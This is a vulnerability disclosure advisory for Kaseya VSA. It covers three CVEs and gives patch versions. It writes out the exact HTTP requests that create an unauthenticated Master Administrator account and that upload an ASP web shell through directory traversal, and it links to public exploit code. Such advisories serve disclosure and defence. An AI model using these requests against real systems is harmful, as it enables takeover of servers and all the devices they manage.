>> Multiple vulnerabilities in Kaseya Virtual System Administrator >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/) ========================================================================== Disclosure: 23/09/2015 / Last updated: 28/09/2015 >> Background on the affected product: "Kaseya VSA is an integrated IT Systems Management platform that can be leveraged seamlessly across IT disciplines to streamline and automate your IT services. Kaseya VSA integrates key management capabilities into a single platform. Kaseya VSA makes your IT staff more productive, your services more reliable, your systems more secure, and your value easier to show." A special thanks to ZDI for assisting with the vulnerability reporting process. These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1], ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015. Kaseya's security advisory can be found at [4]. >> Technical details: #1 Vulnerability: Remote privilege escalation (add Master Administrator account - unauthenticated) CVE-2015-6922 / ZDI-15-448 Affected versions: VSA Version 7.0.0.0 – 7.0.0.32 VSA Version 8.0.0.0 – 8.0.0.22 VSA Version 9.0.0.0 – 9.0.0.18 VSA Version 9.1.0.0 – 9.1.0.8 GET /LocalAuth/setAccount.aspx Page will attempt to redirect, ignore this and obtain the "sessionVal" value from the page which will be used in the following POST request. POST /LocalAuth/setAccount.aspx sessionVal=&adminName=&NewPassword=&confirm=&adminEmail=bla@bla.com&setAccount=Create You are now a Master Administrator and can execute code in all the managed desktops and mobile devices. A Metasploit module that exploits this vulnerability has been released. #2 Vulnerability: Remote code execution via file upload with directory traversal (unauthenticated) CVE-2015-6922 / ZDI-15-449 Affected versions: VSA Version 7.0.0.0 – 7.0.0.32 VSA Version 8.0.0.0 – 8.0.0.22 VSA Version 9.0.0.0 – 9.0.0.18 VSA Version 9.1.0.0 – 9.1.0.8 First we do: GET /ConfigTab/serverfiles.asp which will respond with a 302 redirect to /mainLogon.asp?logout= Thanks for creating a valid sessionID for us, Kaseya! POST /ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp Cookie: sessionId= <... ASP shell here...> The path needs to be correct, but Kaseya is helpful enough to let us know when a path doesn't exist. A Metasploit module that exploits this vulnerability has been released. #3 Vulnerability: Remote code execution via file upload with directory traversal (authenticated) CVE-2015-6589 / ZDI-15-450 Affected versions: VSA Version 7.0.0.0 – 7.0.0.32 VSA Version 8.0.0.0 – 8.0.0.22 VSA Version 9.0.0.0 – 9.0.0.18 VSA Version 9.1.0.0 – 9.1.0.8 Login to the VSA console and obtain ReferringWebWindowId from the URL (wwid parameter). Create a POST request as below with the ReferringWebWindowId: POST /vsapres/web20/json.ashx HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------114052411119142 Content-Length: 1501 -----------------------------114052411119142 Content-Disposition: form-data; name="directory" ../WebPages -----------------------------114052411119142 Content-Disposition: form-data; name="ReferringWebWindowId" 31a5d16a-01b7-4f8d-adca-0b2e70006dfa -----------------------------114052411119142 Content-Disposition: form-data; name="request" uploadFile -----------------------------114052411119142 Content-Disposition: form-data; name="impinf__uploadfilelocation"; filename="shell.asp" Content-Type: application/octet-stream <... ASP shell here...> -----------------------------114052411119142-- A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been been released [5]. >> Fix: V7 – Install patch 7.0.0.33 R8 – Install patch 8.0.0.23 R9 – Install patch 9.0.0.19 R9.1 – Install patch 9.1.0.9 >> References: [1] http://zerodayinitiative.com/advisories/ZDI-15-448/ [2] http://zerodayinitiative.com/advisories/ZDI-15-449/ [3] http://zerodayinitiative.com/advisories/ZDI-15-450/ [4] https://helpdesk.kaseya.com/entries/96164487--Kaseya-Security-Advisory [5] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>